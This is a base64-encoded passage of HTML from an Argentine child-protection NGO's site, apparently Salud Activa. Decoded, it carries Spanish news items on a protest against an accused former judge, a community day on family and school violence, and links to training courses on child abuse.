gICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9Iml